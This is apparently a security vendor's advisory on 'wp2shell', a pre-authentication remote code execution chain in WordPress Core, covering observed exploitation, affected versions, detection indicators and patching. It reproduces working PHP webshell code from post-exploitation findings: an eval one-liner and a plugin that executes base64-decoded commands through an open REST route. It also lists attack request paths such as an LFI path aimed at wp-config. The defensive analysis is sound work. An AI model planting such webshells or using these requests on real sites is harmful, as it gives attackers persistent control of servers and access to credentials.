wp2shell WordPress RCE Critical CVE-2026-63030 Exploited

wp2shell WordPress RCE Critical CVE-2026-63030 Exploited

WordPress Core is impacted by the critical pre-authentication remote code execution (RCE) vulnerability chain CVE-2026-63030 and CVE-2026-60137, collectively dubbed "wp2shell." This vulnerability allows unauthenticated attackers to achieve full code execution on default WordPress installations, leading to the deployment of persistent webshells and backdoors.

Wiz Research has identified active exploitation of this chain in the wild, observing multiple actors successfully compromising self-hosted WordPress instances. The observed post-exploitation activities include malicious plugin uploads, user enumeration, and local file inclusion attempts, demonstrating a clear intent for persistence and data collection.

Organizations running vulnerable WordPress Core versions, specifically 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1, are at risk. Rapid patching to the vendor-fixed release or implementing a Web Application Firewall (WAF) rule to block access to the /wp-json/batch/v1 endpoint is necessary for defense.

Impact

The wp2shell vulnerability chain, comprising CVE-2026-63030 and CVE-2026-60137, enables critical pre-authentication remote code execution (RCE) on affected WordPress Core installations. This means an attacker can execute arbitrary code on the server without any prior authentication, achieving full control over the compromised system. The impact can include data breaches, complete website defacement, the server being used for further attacks, or hosting malicious content.

Wiz Research data indicated a significant initial exposure, with 60% of organizations using WordPress having at least one vulnerable instance at the time of publication on July 17, 2026. Also, 25% of these vulnerable servers were directly exposed to the internet. While these figures showed a rapid decline within 24 hours due to patching efforts, the initial widespread exposure shows the critical nature and broad attack surface of the vulnerability. Successful exploitation has been observed to lead to the deployment of sophisticated webshells, providing attackers with persistent access and control over the affected servers.

Exploitation Chain

The wp2shell vulnerability chain, CVE-2026-63030 and CVE-2026-60137, was discovered by Searchlight Cyber using OpenAI GPT 5.6 Sol and publicly disclosed on July 17, 2026. This chain targets default WordPress installations running any version released since December 2025. The attack vector abuses the WordPress REST API batch processing endpoints (e.g., /?rest_route=/batch/v1 or /wp-json/batch/v1) to achieve unauthenticated remote code execution.

Immediately following public disclosure, numerous exploit Proof-of-Concepts (PoCs) emerged. Initially, many of these PoCs were limited to SQL injection on default WordPress configurations, with RCE only possible under specific, less common conditions. However, subsequent PoCs quickly evolved to demonstrate RCE capabilities against a wider range of targets, showing rapid development of exploitation techniques.

Wiz Research has observed multiple actors successfully exploiting this vulnerability chain against WordPress instances self-hosted in cloud environments. The identified post-exploitation activities varied, indicating attempts to establish persistence, expand access, collect information, and prepare for further compromise:

• Malicious Plugin Upload: Attackers accessed /wp-admin/plugin-install.php?tab=upload and successfully executed POST /wp-admin/update.php?action=upload-plugin. This allowed them to install persistent backdoors, disguised as legitimate plugins, granting long-term access to the compromised system. Such tactics mirror sophisticated techniques seen in other critical RCE vulnerabilities, as shown in our prior analysis of a WordPress ACF RCE flaw.
• User Enumeration: Requests were sent to /wp-json/wp/v2/users?context=edit to harvest admin usernames and corresponding email addresses. This reconnaissance step is often a precursor to further privilege escalation or targeted credential stuffing attacks.
• Local File Inclusion (LFI) Attempts: Attackers performed LFI attacks via admin-ajax.php?template=../../../wp-config, specifically targeting sensitive files like wp-config.php. The objective of these attempts is typically to exfiltrate database credentials, authentication keys, configuration data, and other sensitive information that could provide deeper access or facilitate lateral movement.
• Admin Panel Access: Observations included attackers accessing /wp-admin/ and receiving HTTP 200 responses, which indicates successful authenticated sessions. This suggests that attackers either compromised administrative credentials or bypassed authentication mechanisms after achieving initial RCE.

Beyond targeted exploitation, Wiz Research also detected high-volume scanning activity without subsequent post-exploitation, which indicates widespread opportunistic mass-scanning campaigns. These campaigns aim to identify vulnerable targets at scale, alongside legitimate security scanning efforts. While lateral movement or data exfiltration had not yet been definitively identified at the time of reporting, monitoring and investigation continued. This pattern of rapid scanning and exploitation aligns with observations from other critical RCEs such as the Kemp LoadMaster RCE (CVE-2026-8037), which also saw immediate in-the-wild activity.

Deployed Webshells

Wiz Research identified three types of PHP webshells among the post-exploitation findings, varying in sophistication:

1. Minimal One-Liner Webshell:

    <?php
eval($_POST['[REDACTED]']??'http_response_code(404);');

This basic backdoor provides remote code execution to an attacker who knows the specific POST parameter name. Its simplicity, combined with an http_response_code(404) evasion technique, makes it a common finding in mass exploitation scenarios due to its ease of deployment.

1. Sophisticated 150KB "CMSmap" Webshell:

This webshell was disguised as a WordPress plugin named "CMSmap." While a legitimate CMSmap plugin exists as a simple security tool, this sample was significantly larger and highly complex. It functioned as a full-featured attack platform, complete with a graphical interface, password authentication, and a broad range of capabilities including:

• File management
• Database access
• Port scanning
• Batch code injection
• Multiple privilege escalation modules, including MySQL User Defined Function (UDF) exploitation.

The payload was heavily obfuscated through hex-encoded string concatenation and gzip-compressed Base64 encoding, unpacked at runtime using eval(gzuncompress(base64_decode(...))). Its internal structure closely matched a known PHP webshell (phpdaima.php) with modified variables.

1. Custom REST API Endpoint Webshell:

A third malicious WordPress plugin observed was also a PHP webshell. This one established persistence and control by registering a custom REST API endpoint:

    /* Plugin Name: gg-[REDACTED] */
add_action('rest_api_init', function () {
register_rest_route('morning/v1', '/[REDACTED]', array(
'methods' => 'POST',
'permission_callback' => '__return_true',
'callback' => function ($request) {
ob_start();
passthru(base64_decode($request->get_param('c')) . ' 2>&1');
$output = ob_get_clean();
require_once ABSPATH . 'wp-admin/includes/plugin.php';
return new WP_REST_Response(array(
'marker' => '[REDACTED]',
'output' => $output,
));
},
));
});

This plugin used a permissive callback (__return_true) to allow unauthenticated POST requests to /morning/v1/[REDACTED]. Attackers could then send Base64-encoded commands in a specified parameter, which the plugin would decode and execute on the server, returning the output in a JSON response. This effectively grants full command-level access to the underlying system.

Affected Products and Versions

The wp2shell vulnerability chain impacts WordPress Core versions released since December 2025. Specifically, the full Remote Code Execution (RCE) exploit chain (combining CVE-2026-63030 and CVE-2026-60137) affects the following WordPress Core versions:

• WordPress Core versions 6.9.0 through 6.9.4
• WordPress Core versions 7.0.0 through 7.0.1

CVE-2026-60137 alone, primarily a SQL injection vulnerability, affects a broader range of older versions:

• WordPress Core versions 6.8.0 through 6.8.5

Organizations should review their WordPress deployments to determine if any instances fall within these affected version ranges.

Detection

Detecting exploitation of the wp2shell vulnerability (using CVE-2026-63030 and CVE-2026-60137) primarily involves monitoring HTTP requests and server-side activity related to the WordPress REST API batch processing endpoints. Wiz Research identified the following reliable indicators:

• HTTP Responses to Batch API Requests:
• Monitor for HTTP 207 Multi-Status or 200 OK responses to requests targeting /wp-json/batch/v1 or /?rest_route=/batch/v1. The 207 Multi-Status response is particularly indicative of successful exploitation via the batch endpoint. Hexastrike also independently observed this as a strong indicator.
• User-Agent Strings:
• Look for user-agent strings containing wp2shell or rezwp2shell. These strings are common signatures for purpose-built exploitation frameworks and tools targeting this specific vulnerability.
• Log Monitoring for Malicious Activity:
• Access to plugin-install.php and update.php: Monitor web server access logs for POST requests to /wp-admin/plugin-install.php?tab=upload followed by POST /wp-admin/update.php?action=upload-plugin from suspicious IP addresses or user agents. This indicates an attempt to upload and install malicious plugins.
• Requests to User Enumeration Endpoints: Look for high volumes of requests to /wp-json/wp/v2/users?context=edit which can signal user enumeration attempts.
• Local File Inclusion Patterns: Monitor for attempts to access sensitive files via LFI, such as requests to admin-ajax.php?template=../../../wp-config.
• Unexpected Admin Panel Access: Investigate successful HTTP 200 responses for /wp-admin/ from unrecognised or suspicious sources, which could indicate compromised administrative sessions.
• File System Monitoring: Implement file integrity monitoring (FIM) for the WordPress installation directory to detect unexpected file creations or modifications, particularly in the wp-content/plugins or wp-content/themes directories, which could indicate webshell deployment.
• Network Indicators:
• Monitor network traffic for connections to the Indicator of Compromise (IOC) IP addresses listed below, especially outbound connections from WordPress servers which might indicate C2 communication or data exfiltration.
• Indicators of Compromise (IOCs):

Remediation

To mitigate the wp2shell vulnerability, immediate action is required. Organizations should prioritize patching and implementing protective measures to secure their WordPress Core installations.

• Patching:
• Update WordPress Core to the vendor-fixed release, WordPress 7.0.2. This version addresses both CVE-2026-63030 and CVE-2026-60137, resolving the critical RCE vulnerability chain. The official announcement for this release can be found on the WordPress news site.
• Workarounds (Temporary Mitigation):
• If immediate patching is not feasible, restrict anonymous access to the WordPress Batch API. This can be achieved by blocking requests to the /wp-json/batch/v1 endpoint (or ?rest_route=/batch/v1) using a web application firewall (WAF).
• Alternatively, disabling anonymous REST API access using a dedicated WordPress plugin can also serve as a temporary workaround. This will limit the attack surface by preventing unauthenticated access to the vulnerable endpoint.
• Post-Exploitation Monitoring and Cleanup:
• After patching, thoroughly scan all WordPress instances for any signs of compromise using the detection methods outlined above.
• Remove any detected malicious plugins or webshells. Given the variety and sophistication of the observed webshells, a detailed forensic analysis may be necessary to ensure complete eradication and identify potential additional backdoors.
• Review and reset administrative passwords and API keys, especially if user enumeration or admin panel access was observed.